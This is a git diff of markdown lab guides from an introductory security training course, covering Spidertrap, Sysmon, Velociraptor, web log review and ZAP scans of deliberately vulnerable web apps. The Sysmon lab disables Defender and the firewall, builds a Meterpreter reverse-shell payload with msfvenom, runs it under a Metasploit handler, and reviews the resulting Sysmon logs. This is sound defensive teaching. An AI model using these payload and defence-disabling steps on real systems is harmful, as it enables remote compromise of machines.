-Then visit http://:8000 in a web -browser. You should see a page containing randomly generated links. If -you click on a link it will take you to a page with more randomly -generated links. - -![](Spidertrap_files/image001.png) ![](Spidertrap_files/image002.png) - -Example 2: Providing a List of Links ------------------------------------- - - -Start Spidertrap. This time give it a file to use to generate its links. - -You may need to press ctrl+c to kill your existing spidertrap session. - -Now, restart it with the following options: - -`/opt/spidertrap$` **`python3 spidertrap.py directory-list-2.3-big.txt`** - - Starting server on port 8000... - - Server started. Use to stop. - -![image](https://github.com/user-attachments/assets/3cdc8570-9639-4dbd-9348-ed67f4c836a1) - - -Then visit http://:8000 in a web -browser. You should see a page containing links taken from the file. If -you click on a link it will take you to a page with more links from the -file. - -![](Spidertrap_files/image003.png) ![](Spidertrap_files/image004.png) - -Example 3: Trapping a Wget Spider ---------------------------------- - -Follow the instructions in [Example 1: Basic Usage] or -[Example 2: Providing a List of Links] to start Spidertrap. Then -open a new Kali Linux terminal and tell wget to mirror the website. Wget will run -until either it or Spidertrap is killed. Type Ctrl-c to kill wget. - -`$` **`sudo wget -m http://127.0.0.1:8000`** - - --2013-01-14 12:54:15-- http://127.0.0.1:8000/ - - Connecting to 127.0.0.1:8000... connected. - - HTTP request sent, awaiting response... 200 OK - - <<>> - - HTTP request sent, awaiting response... ^C - - -![image](https://github.com/user-attachments/assets/8369ef4c-1298-4321-a4b2-40a94cd2de16) - - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - - diff --git a/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md b/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md index 72f8be7f..c545f659 100755 --- a/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md +++ b/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md @@ -3,6 +3,7 @@ # Sysmon +# Windows VM In this lab we will be looking at what an attacker can do with valid accounts. To learn more about this attack check out the following: @@ -16,130 +17,153 @@ Here are just some groups that have used this attack: Let’s begin by disabling **Defender**. Simply run the following from an **Administrator PowerShell** prompt: -![](attachments/OpeningPowershell.png) +Screenshot From 2026-02-07 17-59-15 Next, run the following command in the **Powershell** terminal: -
Set-MpPreference -DisableRealtimeMonitoring $true
+```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` ![](attachments/applocker_disabledefender.png) + This will disable **Defender** for this session. If you get angry red errors, that is **Ok**, it means **Defender** is not running. Next, lets ensure the firewall is disabled. In a Windows Command Prompt. -
 netsh advfirewall set allprofiles state off
+```ps +netsh advfirewall set allprofiles state off +``` Next, set a password for the Administrator account that you can remember -
net user Administrator password1234
+```ps +net user Administrator password1234 +``` Please note, that is a very bad password. Come up with something better. But, please remember it. -Before we move on from our Powershell window, lets get our IP by running the following command: - -
ipconfig
- -![](attachments/powershellipconfig.png) - -**REMEMBER - YOUR IP WILL BE DIFFERENT** - -Write this IP down so we can use it again later. - -Let's continue by opening a **Kali** terminal - -![](attachments/OpeningKaliInstance.png) -Alternatively, you can click on the **Kali** icon in the taskbar. +Now we need a **Linux Terminal** -![](attachments/TaskbarKaliIcon.png) +- **Double-click** `Ubuntu Shell` on Desktop -We need to run the following commands in order to mount our remote system to the correct directory: +Screenshot From 2026-02-23 10-28-37 -
sudo su -
-
mount -t cifs //[Your IP Address]/c$ /mnt/windows-share -o username=Administrator,password=password1234
-**If you are at CyberBay, you can use the password we found for Dennis. What was it?** +Become root: -**REMEMBER - YOUR IP ADDRESS AND PASSWORD WILL BE DIFFERENT.** +```bash +sudo su - +``` -If you see the following error, it means that the device is already mounted. -![](attachments/mounterror.png) +Before we run the next commands, we need to get the **IP** of our **Linux System**. Lets do so by running the following: -If this is the case, ignore it. +```bash +ifconfig +``` -Run the following command to navigate into the mounted directory: - -
cd /mnt/windows-share
- -Before we run the next commands, we need to get the IP of our Kali System (AKA our Linux IP Adress). Lets do so by running the following: - -
ifconfig
- -![](attachments/ifconfig.png) +Get_IPLinux **REMEMBER: YOUR IP WILL BE DIFFERENT** Run the following commands to start a simple backdoor and backdoor listener: -
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe -o /mnt/windows-share/TrustMe.exe
+```bash +cd /tmp/ +``` + +```bash +msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe > /tmp/TrustMe.exe +``` -Let's start the **Metasploit** Handler. Open a new **Kali** terminal by clicking the **Kali** icon in the taskbar. +Let's start the **Metasploit** Handler. We need another **Linux Terminal** -![](attachments/TaskbarKaliIcon.png) +- **Double-click** `Ubuntu Shell` on Desktop -Let's become root. +Screenshot From 2026-02-23 10-28-37 -
sudo su -
Now let's start the **Metasploit** Handler -
msfconsole -q
+```bash +sudo msfconsole -q +``` We are going to run the following commands to correctly set the parameters: -
use exploit/multi/handler
+```bash +use exploit/multi/handler +``` -
set PAYLOAD windows/meterpreter/reverse_tcp
+```bash +set PAYLOAD windows/meterpreter/reverse_tcp +``` -
set LHOST [Your Linux IP Address]
+```bash +set LHOST [Your Linux IP Address] +``` Remember, **Your IP will be different!** -
exploit
+```bash +exploit +``` It should look like this: -![](attachments/msfconsole.png) +2026-02-23_15-38 + +Going back to our **Powershell** terminal, copy the file over from **Linux** -We will need to open a **"cmd.exe"** terminal as **Administrator**. +```ps +cd .\Desktop\ +``` -![](attachments/OpeningWindowsCommandPrompt.png) +```ps +scp ubuntu@linux.cloudlab.lan:/tmp/TrustMe.exe . +``` -
cd \IntroLabs
-
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
+Now we will need to open a **"cmd.exe"** terminal as **Administrator**. + +Screenshot From 2026-02-07 17-59-56 + + +```cmd +cd \IntroLabs +``` + +```cmd +Sysmon64.exe -accepteula -i sysmonconfig-export.xml +``` It should look like this: -![](attachments/sysmonexe.png) +2026-03-13_16-37 + -let's run the following commands to run the **"TrustMe.exe"** file. +Let's run the following commands to run the **"TrustMe.exe"** file. -
cd \
+```cmd +cd \Users\Administrator\Desktop +``` Then run it with the following: - 
TrustMe.exe
+```cmd +TrustMe.exe +``` -Back at your Kali terminal, you should have a metasploit session! +Back at your **Linux terminal**, you should have a metasploit session! -![](attachments/meterpretersession.png) +2026-03-13_16-38 Now, we need to view the Sysmon events for this malware: @@ -157,24 +181,26 @@ You'll have to scroll down a bit until you find the **Sysmon** folder. Start at the top and work down through the logs, you should see your **malware** executing. Please note your paths may be different. -![](attachments/logs.png) -![](attachments/processcreateview.png) +2026-03-13_16-45 -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) -***Finished with the Labs?*** +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/WebTesting.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/RITAIntroClass/RITA.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + Please be sure to destroy the lab environment! [Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - --- diff --git a/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md b/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md index 82155fe2..ec553b30 100644 --- a/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md +++ b/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md @@ -134,7 +134,7 @@ Here is a great resource to try some more options in **TCPDump**: *** -Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md) +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md) Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/Memory/MemoryAnalysis(Volatility).md) @@ -167,5 +167,6 @@ Please be sure to destroy the lab environment! + diff --git a/IntroClassFiles/Tools/IntroClass/Velociraptor/Velociraptor.md b/IntroClassFiles/Tools/IntroClass/Velociraptor/Velociraptor.md index e9994ef9..7e3b7e30 100644 --- a/IntroClassFiles/Tools/IntroClass/Velociraptor/Velociraptor.md +++ b/IntroClassFiles/Tools/IntroClass/Velociraptor/Velociraptor.md @@ -21,84 +21,94 @@ Let's get started. Open a **Windows command prompt**. -![](attachment/openingcommandprompt%20-%20Copy.png) +2026-02-07_17-05 + When the terminal opens, navigate to the appropriate directory by using the following command: -
cd \IntroLabs
+```bash +cd \IntroLabs +``` For this installation, we are going to set up **Velociraptor** as a standalone deployment. This means the server and the client will be run on the same system. Within the command prompt, run the following command: -
velociraptor-v0.72.3-windows-amd64.exe config generate -i
- -When it asks about the OS, please choose **Windows**. It should be the default. +```bash +velociraptor-v0.75.6-windows-amd64.exe config generate -i +``` -![](attachment/velociraptor_chooseos.png) +When it asks about the **Deployment Type**, choose **Self Signed SSL** -When it asks about the Path to the datastore, **just hit enter**. This will keep the default. +2026-03-15_11-02 -![](attachment/velociraptor_datastorepath.png) +When it asks about the **OS**, please choose **Windows**. -When it asks about the SSL certs, **just hit enter**. It will choose the default of Self Signed SSL. +2026-03-15_11-04 -![](attachment/velociraptor_sslcert.png) +When it asks about the **Path to the datastore**, **just hit enter**. This will keep the default. +2026-03-15_11-06 -When it asks about the DNS name, **just hit enter**. It will set the default to localhost. This will work fine as we are just running this locally. +When it asks about the path to the **logs directory**, **just hit enter** to accept the default. -![](attachment/velociraptor_publicdns.png) +2026-03-15_11-09 -For the default ports, once again, **just hit enter** to accept 8000 and 8889 as the defaults. +When it asks about the **PKI Certificate Expiration**, **just hit enter** to accept the default. -![](attachment/velociraptor_frontendport.png) +2026-03-15_11-10 -If prompted about using Websocket, enter **"No"** +When it asks about the **Registry for Client Writeback**, **just hit enter** to accept the default. -![](attachment/velociraptor_websocket.png) +2026-03-15_11-10 -If prompted about using the registry to store writeback files, please enter **"N"** +When it asks about the **DNS name**, **just hit enter**. It will set the default to localhost. This will work fine as we are just running this locally. -![](attachment/velociraptor_registrywriteback.png) +2026-03-15_11-14 -When asked about which **DynDNS** provider is used, select **None** and press enter. +When asked about which **DNS Type** is used, select **None** and press enter. -![](attachment/velociraptor_dyndns.png) +2026-03-15_11-14 -For the GUI username, please **just hit enter** to end. +If prompted about using **Experimental Websocket**, enter **"No"** -![](attachment/velociraptor_guiusername.png) +2026-03-15_11-17 -When it asks about the path to the logs directory, **just hit enter** to accept the default. +For the **default ports**, once again, **just hit enter** twice to accept 8000 and 8889 as the defaults. -![](attachment/velociraptor_pathtologs.png) +2026-03-15_11-19 -If it asks if you would to **"restrict VQL"** functionality on the server, please enter **"N"** +When it asks about the **Username and Password**, **just hit enter** twice to leave them empty. -![](attachment/velociraptor_vqlfunct.png) +2026-03-15_11-19 -When it asks where to write the server and client configs, **just hit enter** on both prompts to accept the defaults. +When it asks about the **Name of file** of the config file, **just hit enter** to accept the default. -![](attachment/velociraptor_configs.png) +2026-03-15_11-24 Let’s add a **GUI** user. -
velociraptor-v0.72.3-windows-amd64.exe --config server.config.yaml user add root --role administrator
+```bash +velociraptor-v0.75.6-windows-amd64.exe --config server.config.yaml user add root --role administrator +``` When it asks for the password, please choose a password you will remember. When finished, it should look similar to -![](attachment/velociraptor_entergui.png) +2026-03-15_11-24 Lets run the **msi** to load the proper files to the proper directories: -
velociraptor-v0.72.3-windows-amd64.msi
+```bash +velociraptor-v0.75.6-windows-amd64.msi +``` Time to start the server. -
velociraptor-v0.72.3-windows-amd64.exe --config server.config.yaml frontend -v
+```bash +velociraptor-v0.75.6-windows-amd64.exe --config server.config.yaml frontend -v +``` This will take some time, be patient. @@ -130,21 +140,27 @@ Next, we need to start the client. Lucky for us, it is the same executable. We will need to open another **Windows Command Prompt**. Right click on the terminal icon in the task bar, and select **"command prompt"**: -![](attachment/velociraptor_openanotherprompt.png) +2026-02-07_17-05 Then Navigate to the **IntroLabs** directory. -
cd \IntroLabs
+```bash +cd \IntroLabs +``` We will need to start the client. To do this will need to run the **MSI** first. -
velociraptor-v0.72.3-windows-amd64.msi
+```bash +velociraptor-v0.75.6-windows-amd64.msi +``` When you get the pop up, select Run. This will install the proper libraries and files. Next, we will start the client. -
velociraptor-v0.72.3-windows-amd64.exe --config client.config.yaml client -v
+```bash +velociraptor-v0.75.6-windows-amd64.exe --config server.config.yaml client -v +``` It will look something like this: @@ -156,7 +172,7 @@ Now, let’s go back to the Velociraptor GUI and select the Home button in the u You should see **one** connected client. -![](attachment/velociraptor_connectedclients.png) +2026-03-15_11-56 Now let’s look at what we can do with this. @@ -186,16 +202,20 @@ Please click on the **PowerShell** box and select **Cmd**. ![](attachment/velociraptor_powershelldropdown.png) -Now, enter **netstat -naob** in the cmd box and select **"Launch"**. +Now, enter `netstat -naob` in the cmd box and select **"Launch"**. This will not display the results right away. To see the results, select the **"Eye"** icon: ![](attachment/velociraptor_eye.png) -Now you can see the results: +Now you can see the results, click **Active Connections**: + +2026-03-15_11-56 + +Now click the **Text** tab -![](attachment/velociraptor_seeresults.png) +2026-03-15_12-03 Let’s do a Hunt. Please select the Hunt icon. @@ -229,7 +249,7 @@ Please select our Hunt. Now, we can run it. Press the **Play** button above. ![](attachment/velociraptor_play.png) -When you get the pop-up, select **Run it!** +When you get the pop-up, select **Run them all!** >[!NOTE] > @@ -257,7 +277,7 @@ Go ahead and open the **zip file**, navigate into the results folder. ![](attachment/velociraptor_opencsv.png) -Then, open the csv file with **WordPad**. +Then, open the csv file with **NotePad**. ![](attachment/velociraptor_wordpad.png) @@ -284,3 +304,6 @@ Please be sure to destroy the lab environment! --- + + + diff --git a/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md b/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md index a81397ca..f3372fa6 100644 --- a/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md +++ b/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md @@ -2,45 +2,57 @@ # Web Log Review +# Windows VM + In this lab we will be standing up a vulnerable web server called DVWA. It is designed from the ground up to teach people about a number of web application attacks. While a full intro to web attacks is out of the scope of this class, it is great to show you how to use tools like ZAP to automatically look for some vulnerabilities, and to show you that automated tools do not always catch everything. -Let’s get started by opening a Terminal as Administrator -![](attachments/Clipboard_2020-06-12-10-36-44.png) -When you get the User Account Control Prompt, select Yes. +- Open **Ubuntu Shell** -PS C:\Users\adhd> `docker run --rm -it -p 80:80 vulnerables/web-dvwa` +Screenshot From 2026-02-23 10-28-37 -![](attachments/Clipboard_2020-06-16-13-29-31.png) -In another Command Prompt window run ipconfig and record your IP address. Remember, your IP address may be different from mine. -C:\Users\adhd>`ipconfig` +```bash +sudo su - +``` -![](attachments/Clipboard_2020-06-16-13-29-46.png) +Get your **Linux IP address** +```bash +ifconfig +``` -Now, let's start ZAP. +Get_IP -![](attachments/Clipboard_2020-06-16-13-30-15.png) +```bash +docker run --rm -it -p 80:80 vulnerables/web-dvwa +``` + +image -![](attachments/Clipboard_2020-06-16-13-30-46.png) +Now, let's start ZAP. + +image -Now, let's insert your IP address from the ipconfig command above and start the scan. + + +![](attachments/Clipboard_2020-06-16-13-30-46.png) First, select the Automated Scan button: ![](attachments/Clipboard_2020-12-11-06-43-22.png) -Then enter the URL of your Docker system. It will be in http:// syntax like below: +Then enter the URL of your Docker system. It will be in `http://` syntax like below: + +image -![](attachments/Clipboard_2020-12-11-06-45-20.png) Then select the Attack button: @@ -49,11 +61,13 @@ Then select the Attack button: This will start the scan. You should be able to see the scan activity in the lower part of ZAP. -![](attachments/Clipboard_2020-12-11-06-47-23.png) +image + + +Now, let's go back to the **Command Prompt** window and see the logs: -Now, let's go back to the Powershell window and see the logs: +image -![](attachments/Clipboard_2020-12-11-06-51-27.png) What are some things to look for? @@ -73,7 +87,7 @@ Then attack. It is all about knowing our networks ad apps. -# Going further +### Going further https://owasp.org/ @@ -81,7 +95,31 @@ https://www.zaproxy.org/ https://cirt.net/Nikto2 -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) +*** + +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/WebTesting/WebTesting.md b/IntroClassFiles/Tools/IntroClass/WebTesting/WebTesting.md index 4ecc12c6..26222ac9 100755 --- a/IntroClassFiles/Tools/IntroClass/WebTesting/WebTesting.md +++ b/IntroClassFiles/Tools/IntroClass/WebTesting/WebTesting.md @@ -4,49 +4,54 @@ # Web Testing +# Windows VM + In this lab we will be standing up a simple **Python Web Server** and a vulnerable web server called **DVWA**. These are designed from the ground up to teach people about a number of web application attacks. While a full intro to web attacks is out of the scope of this class, it is great to show you how to use tools like **ZAP** to automatically look for some vulnerabilities, and to show you that automated tools do not always catch everything. -You will need to start an **Kali** terminal. +You will need to start an **Linux** terminal. -![](attachments/OpeningKaliInstance.png) -Alternatively, you can click on the **Kali** icon in the taskbar. -![](attachments/TaskbarKaliIcon.png) -Before going further, gain root access by running the following: +- **Double-click** `Ubuntu Shell` on Desktop + +Screenshot From 2026-02-23 10-28-37 -
sudo su -
-Navigate into the proper directory: -
cd /opt/Web_Testing
-![](attachments/navtodirectory.png) +Navigate into the proper directory: -We need to get our **Linux** IP address for later, so let's run the following command: +```bash +cd ~/Intro_To_SOC/Web_Testing +``` -
ifconfig
+Please note your **Linux** IP: -![](attachments/ifconfig.png) +```bash +ifconfig +``` -Please note your **Linux** IP address. As shown above, ours is **"10.10.1.117"** +![Get_IPLinux.png](https://github.zendesk.com/attachments/token/n6uvR4jpusDEqeTL91GtzfodH/?name=Get_IPLinux.png) >[!NOTE] > >**YOUR IP WILL BE DIFFERENT!** -Launch the python script. +Launch the python script + +```bash +python3 ./dsvw.py +``` -
python3 ./dsvw.py
+2026-03-14_14-38 -![](attachments/pythonscriptran.png) It's time to start **ZAP**! Go ahead and launch it from the desktop icon. -![](attachments/OpeningZAP.png) +2026-03-14_14-26 Once **ZAP** loads, you will see this pop-up on your screen. Ensure that **No, I do not want to persist this session at this moment in time** option is selected, and hit **"Start"** @@ -66,6 +71,14 @@ Then, select **"Use traditional spider"** and then select **"Attack"**: ![](attachments/AutomatedScanSetup.png) + +>[!IMPORTANT] +>The scan will probably break **DSVW**, you might have to start it again during during the scan: + +2026-03-14_14-41 + + + Scan progress will be shown by the progress bar in the center of your screen. When it gets done crawling and scanning, select **"Alerts"**: @@ -73,6 +86,7 @@ When it gets done crawling and scanning, select **"Alerts"**: This shows that **ZAP** does a pretty good job of finding the easy to identify vulnerabilities. + *** Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/deepbluecli/DeepBlueCLI.md) diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/WebTesting.md b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/WebTesting.md new file mode 100755 index 00000000..c5f08f70 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/WebTesting.md @@ -0,0 +1,207 @@ + +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Web Testing + +# Windows VM + +In this lab we will be standing up a simple **Python Web Server** and a vulnerable web server called **DVWA**. These are designed from the ground up to teach people about a number of web application attacks. + +While a full intro to web attacks is out of the scope of this class, it is great to show you how to use tools like **ZAP** to automatically look for some vulnerabilities, and to show you that automated tools do not always catch everything. + +You will need to start an **Linux** terminal. + + + + +- **Double-click** `Ubuntu Shell` on Desktop + +Screenshot From 2026-02-23 10-28-37 + + + + + + +Navigate into the proper directory: + +```bash +cd ~/Intro_To_SOC/Web_Testing +``` + +Please note your **Linux** IP: + +```bash +ifconfig +``` + +Get_IPLinuxFromWindows + + +>[!NOTE] +> +>**YOUR IP WILL BE DIFFERENT!** + +Launch the python script + +```bash +python3 ./dsvw.py +``` + +2026-03-14_14-38 + + +It's time to start **ZAP**! Go ahead and launch it from the desktop icon. + +2026-03-14_14-26 + +Once **ZAP** loads, you will see this pop-up on your screen. Ensure that **No, I do not want to persist this session at this moment in time** option is selected, and hit **"Start"** + +![](attachments/nopersist.png) + +Let's do a quick test of the **Python Web Server**: + +Select **"Automated Scan"** + +![](attachments//automatedscanselect.png) + +Put in **your** Linux IP and port **"65412"** in as the URL to attack. + +
http://[YOUR LINUX IP]:65412
+ +Then, select **"Use traditional spider"** and then select **"Attack"**: + +![](attachments/AutomatedScanSetup.png) + + +>[!IMPORTANT] +>The scan will probably break **DSVW**, you might have to start it again during during the scan: + +2026-03-14_14-41 + + + +Scan progress will be shown by the progress bar in the center of your screen. +When it gets done crawling and scanning, select **"Alerts"**: + +![](attachments/Alerts.png) + +This shows that **ZAP** does a pretty good job of finding the easy to identify vulnerabilities. + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/ACHunterCE.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Alerts.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Alerts.png new file mode 100644 index 00000000..9000b265 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Alerts.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScan.PNG b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScan.PNG new file mode 100644 index 00000000..25c9635a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScan.PNG differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanIP.PNG b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanIP.PNG new file mode 100644 index 00000000..1bf25d71 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanIP.PNG differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanSetup.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanSetup.png new file mode 100644 index 00000000..386728f8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/AutomatedScanSetup.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png new file mode 100755 index 00000000..4175daf4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-31.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-31.png new file mode 100755 index 00000000..93587bee Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-31.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-46.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-46.png new file mode 100755 index 00000000..7944a2ae Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-29-46.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-15.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-15.png new file mode 100755 index 00000000..9b3333fb Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-15.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-46.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-46.png new file mode 100755 index 00000000..02d75d6d Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-30-46.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-31-13.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-31-13.png new file mode 100755 index 00000000..925a2c71 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-31-13.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-32-34.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-32-34.png new file mode 100755 index 00000000..cea2b48d Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-32-34.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-08.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-08.png new file mode 100755 index 00000000..770d9b5b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-08.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-19.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-19.png new file mode 100755 index 00000000..c19a07c3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-33-19.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-34-28.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-34-28.png new file mode 100755 index 00000000..273c1e2c Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-34-28.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-35-51.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-35-51.png new file mode 100755 index 00000000..78778454 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-35-51.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-36-47.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-36-47.png new file mode 100755 index 00000000..46b264b8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-36-47.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-37-27.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-37-27.png new file mode 100755 index 00000000..97b563b5 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-37-27.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-39-33.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-39-33.png new file mode 100755 index 00000000..8eef5853 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-39-33.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-41-13.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-41-13.png new file mode 100755 index 00000000..67903728 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-41-13.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-44-15.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-44-15.png new file mode 100755 index 00000000..e7ff2263 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/Clipboard_2020-06-16-13-44-15.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningKaliInstance.png 